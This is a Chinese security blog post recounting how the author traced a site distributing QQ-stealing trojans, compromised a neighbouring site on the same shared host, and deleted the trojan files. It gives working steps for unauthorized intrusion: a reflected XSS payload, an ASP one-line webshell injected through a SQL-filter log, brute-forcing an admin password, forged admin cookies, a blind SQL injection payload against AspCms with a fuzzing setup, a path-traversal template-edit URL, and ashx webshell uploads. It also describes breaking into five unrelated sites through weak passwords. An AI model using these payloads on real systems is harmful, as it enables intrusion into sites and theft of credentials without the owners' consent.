Editor's Note
团队师傅的文章,推一波!!!
珂技知识分享 Author 珂字辈
分享自己的安全技术,渗透实例,IT知识,拒绝转载,坚持原创。
在某个论坛看到有人说网站含有QQ盗号木马。
www.oxxxxx.com
点进去看了一眼
很炫的背景,很简单的静态网页,几个用易语言写的小病毒,用了加速器外挂之类的进行伪装欺骗。
病毒分析咱不会,看看能不能搞了网站,先手工看看网站吧。在域名后面随便加点东西让它报错。
IIS 10.0,愚蠢的爆出了绝对路径,freehost,是星外主机。
星外主机很不错,应该有很多旁站,这种简单网站一般是用ftp上传了就不更新了的,没后台也没其他的利用点。所以旁站然后提权是正常思路。
然后试了试短文件名漏洞。
存在短文件名漏洞,但是没有卵用。
很多人以为短文件名漏洞只有IIS6.0有,实际上所有的IIS都有,这是windows的历史遗留问题。
然后扫了扫目录,自然什么都没有。ping了下发现没有cdn,直接开始旁站。
查出来倒是很多,但是存活的居然只有一个,其他要么死了,要么迁移了。没办法就从它入手吧。
www.gxxxxx.com
一个asp站点。
随便点了个新闻,id=246可能存在sql注入,BigClass=%B9%AB%CB%BE%D0%C2%CE%C5其实就是BigClass=公司新闻。
加个单引号
有保护,手工试了下,很多东西都过滤了,access绕过很僵硬,放sqlmap跑了下,无果,放弃。
而BigClass=公司新闻很有意思,我在后面加了个引号,变成了这样
是的,这里很可能存在一个反射xss。
http:// www.gxxxxx.com/news_show.asp?id=246&BigClass=<script>alert(1)</script>
然而还是没有什么卵用,暂时也没有发现留言框。
AWVS爬行了一下,没发现什么有用的东西。
御剑扫一下目录吧,看能不能找到后台。
没有找到后台,然而发现了一个很有意思的东西,/sql_admin.asp
原来就是这个东西导致我无法sql注入,百度了一下,这东西的默认密码是neeao。并且由于这东西会将数据保存在/sqlin.asp里面,直接
http:// www.gxxxxx.com/news_show.asp?id=246' <%eval request ("123")%>
触发注入拦截即可getshell。
试了一下,但浏览/sqlin.asp时和百度出来的结果不一样,是空白页面,菜刀连接也没有成功,网上的方法可能是旧版的。
这个东西比较旧了,我找到了源码,看一眼sqlin.asp
http://down.chinaz.com/soft/17031.htm
新版本数据并不是存储在sqlin.asp,而是存储在sqlin.mdb里面,但是目标网站直接拦截mdb文件,这样连探测是否有sqlin.mdb都不行。
/sql_admin.asp也不是默认密码,不过这里没有验证码也没有次数限制,直接改代理上Burp爆破。
我习惯放AWVS里爆破,速度都差不多
运气很好,是个弱密码,第一个返回大数据包的就是爆破的结果。
进去之后是这样的。
庆幸的是网站没有开启锁定ip,否则会麻烦很多。删掉自己的注入记录之后,再把过滤关键字去掉,然后回到news_show.asp?id=246页面,用sqlmap注入。
嗯,不错,接下来就是找后台的事了。御剑扫过没有,爬虫遍历目录没有,IIS短文件名爆破没有,最后居然是googlehack找到了。site: gxxxxx.com 管理|后台
登录后台,发现是比较常见的asp后台
但上传点只有丧心病狂的KindEditor,这玩意儿高版本是无解的,不甘心的试了下就放弃了。
难道就这样结束了吗?并没有,在御剑扫描时扫出了www.gxxxxx.com的手机版,即http://www.gxxxxx.com/wap/,手机版和PC版极有可能不是一个后台,将http://www.gxxxxx.com/wap/重新放入御剑,再次扫描发现手机版后台http://www.gxxxxx.com/wap/admin/
顿时来了精神,这难道是传说中的asp版织梦?然而扫了几个织梦的特征文件和目录,都没有
/data/admin/ver.txt
/install/
/plus/
爬虫遍历wap目录,发现了一个报错的地方,确定了是魔改版aspcms
既然是aspcms,那么密码应该存在表aspcms_user,由于access只能暴力穷举表名,sqlmap默认的字典里是没有aspcms_user的,所以刚刚我只跑出了admin表,没跑出aspcms_user表。这里用啊D的添加表aspcms_user,列LoginName和Password比较方便,然后再跑,然而。。。
跑不出来,这里有两个可能,一是魔改版aspcms将默认表名或者列名修改过了,二是PC版网页和手机版网页用的不是同一个数据库。
第二点比较容易证明,我开始在wap目标寻找注入点,但由于aspcms的特点就是大量使用静态页面,一时没找到。虽然有个留言框,但似乎不正常,不管填什么都提示问题不能为空。
第一点就得去找魔改版aspcms源码了,各种搜啊搜,没找到,但是构造搜索语句去百度里搜,却有不少使用同一个魔改版aspcms的网站。
Powered by 魔改版ASPCMS V3.0
因为随便拿下一个网站的shell然后打包源码+数据库就行,所以我选择了用最简单的弱密码来试,不行就下一个。
就这样我用弱密码进了5个网站的后台,后台是这样的
这不就是aspcms,魔改版到底改了什么?
aspcms拿shell主要有两个办法。
一个是配合IIS6.0的解析漏洞,界面风格——编辑模板——添加模板
一个是在新闻/留言板任意能存储在数据库的内容框中,插入数据库备份木马然后扩展功能——数据库备份恢复——开始备份。密码为a
┼攠數畣整爠煥敵瑳∨≡┩愾
但是,这两个办法在我手上5个能登录后台的网站里都不行,一是IIS都是7.0以上,二是,每当插入备份一句话时,备份的bak.asp文件会报500。
研究了一会儿文件上传绕过后发现,这个魔改版aspcms对ashx文件不拦截,于是上传ashx一句话即可getshell,同理还有asmx
这样顺利拿下源码,看了眼数据库,表名和列名和aspcms是一样的,那么就是两个独立数据库。
回到http://www.gxxxxx.com上来,既然知道了这个魔改版aspcms其实跟aspcms没什么太大区别,后台getshell的方法也知道了,那么就需要找注入漏洞进入后台。这里我去乌云的历史库里面搜了一下。
http://wy.zone.ci/searchbug.php?q=aspcms
主要也是两个方法。
一个简单粗暴,改cookie为
cookies:username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9
另外一个是/admin/_content/_Content/AspCms_ContentFun.asp未校验管理员权限,且存在注入如下。
http://www.gxxxxx.com/admin/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=97),2,chr(97))
这儿斜体的1是控制用户名的第一位,斜体的97是ASC的a,这个payload在查询用户名第一位是否为a,如果为a则弹窗彻底删除成功。
如果第一位不是a,则会报错
这样就可以爆破出用户名和密码,admin的用户名可以手工爆出来,16位的hash密码手工就比较麻烦,可以构造简单的fuzzer。
浏览器输入
http://www.gxxxxx.com/admin/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(Password,test,1)) from AspCms_User where UserID=1)=test),2,chr(97))
抓包放入AWVS里的fuzzer,添加两个字典,一个是1-16,一个是48-57和97-102,分别放入两个test位置中。
hash用的是16进制,0-9,a-f,分别对应ASC 48-57,97-102
然后start,返回较小数据包的即是正确数值。
这样我们终于进入了www.gxxxxx.com的手机版后台,可以尝试getshell了,但是依旧有问题,插入一句话后备份数据库报500,而ashx和asmx都被禁止了。
这个时候,又在乌云上找到了另外一个getshell的方法,编辑模板功能存在任意文件读取漏洞。
http://www.gxxxxx.com/wap/admin/_style/AspCms_TemplateEdit.asp?acttype=&filename=../../../index.asp
直接在任意asp文件插入一句话即可。
终于可以菜刀连接了,直接就有跨目录的权限。
那么也不用提权了,直接找到对应木马web目录,删光。